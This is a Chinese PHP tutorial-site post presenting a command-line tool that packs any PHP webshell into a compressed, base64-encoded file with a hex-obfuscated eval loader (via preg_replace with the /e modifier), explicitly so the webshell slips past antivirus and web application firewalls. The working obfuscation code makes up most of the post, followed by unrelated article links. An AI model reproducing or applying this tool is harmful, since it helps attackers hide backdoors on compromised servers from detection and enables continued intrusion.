php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
PHP+.htaccess实现全站静态HTML文件GZIP压缩传输(一)
Feb 15 PHP
php实现的遍历文件夹下所有文件,编辑删除
Jan 05 PHP
PHP 事务处理数据实现代码
May 13 PHP
php设计模式 Observer(观察者模式)
Jun 26 PHP
几种有用的变型 PHP中循环语句的用法介绍
Jan 30 PHP
PHP可变函数的使用详解
Jun 14 PHP
浅析ThinkPHP中的pathinfo模式和URL重写
Jan 06 PHP
学习php设计模式 php实现备忘录模式(Memento)
Dec 09 PHP
php实现的网页版剪刀石头布游戏示例
Nov 25 PHP
PHP实现在windows下配置sendmail并通过mail()函数发送邮件的方法
Jun 20 PHP
laravel框架查询数据集转为数组的两种方法
Oct 10 PHP
php设计模式之正面模式实例分析【星际争霸游戏案例】
Mar 24 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
php stream_get_meta_data返回值
2013/09/29 PHP
php中隐形字符65279(utf-8的BOM头)问题
2014/08/16 PHP
实例讲解PHP面向对象之多态
2014/08/20 PHP
thinkphp中html:list标签传递多个参数实例
2014/10/30 PHP
javascript获取所有同类checkbox选项(实例代码)
2013/11/07 Javascript
基于jQuery实现select下拉选择可输入附源码下载
2016/02/03 Javascript
Bootstrap表单组件教程详解
2016/04/26 Javascript
bootstrap suggest下拉框使用详解
2017/04/10 Javascript
javascript基础进阶_深入剖析执行环境及作用域链
2017/09/05 Javascript
jquery实现图片跟随鼠标的实例
2017/10/17 jQuery
JavaScript对JSON数组简单排序操作示例
2019/01/31 Javascript
js Math数学简单使用操作示例
2020/03/13 Javascript
[01:38]完美世界DOTA2联赛PWL S3 集锦第四期
2020/12/21 DOTA
python pycurl验证basic和digest认证的方法
2018/05/02 Python
浅谈python的深浅拷贝以及fromkeys的用法
2019/03/08 Python
pycharm配置git(图文教程)
2019/08/16 Python
python对象转字典的两种实现方式示例
2019/11/07 Python
Python list运算操作代码实例解析
2020/01/20 Python
解决python 执行shell命令无法获取返回值的问题
2020/12/05 Python
python复合条件下的字典排序
2020/12/18 Python
python matplotlib工具栏源码探析二之添加、删除内置工具项的案例
2021/02/25 Python
关于css中margin的值和垂直外边距重叠问题
2020/10/27 HTML / CSS
一套中级Java程序员笔试题
2015/01/14 面试题
最新党员的自我评价分享
2013/11/04 职场文书
财务部出纳岗位职责
2013/12/22 职场文书
机械专业技术员求职信
2014/06/14 职场文书
交通安全责任书范本
2014/07/24 职场文书
工作经常出错的检讨书
2014/09/13 职场文书
房产协议书范本
2014/10/18 职场文书
论群众路线学习笔记
2014/11/06 职场文书
大专护理专业自荐信
2015/03/25 职场文书
2015年法务工作总结范文
2015/05/23 职场文书
党员干部学法用法心得体会
2016/01/21 职场文书
导游词之西湖雷峰塔
2019/09/18 职场文书
python+opencv实现视频抽帧示例代码
2021/06/11 Python
如何利用 CSS Overview 面板重构优化你的网站
2021/10/24 HTML / CSS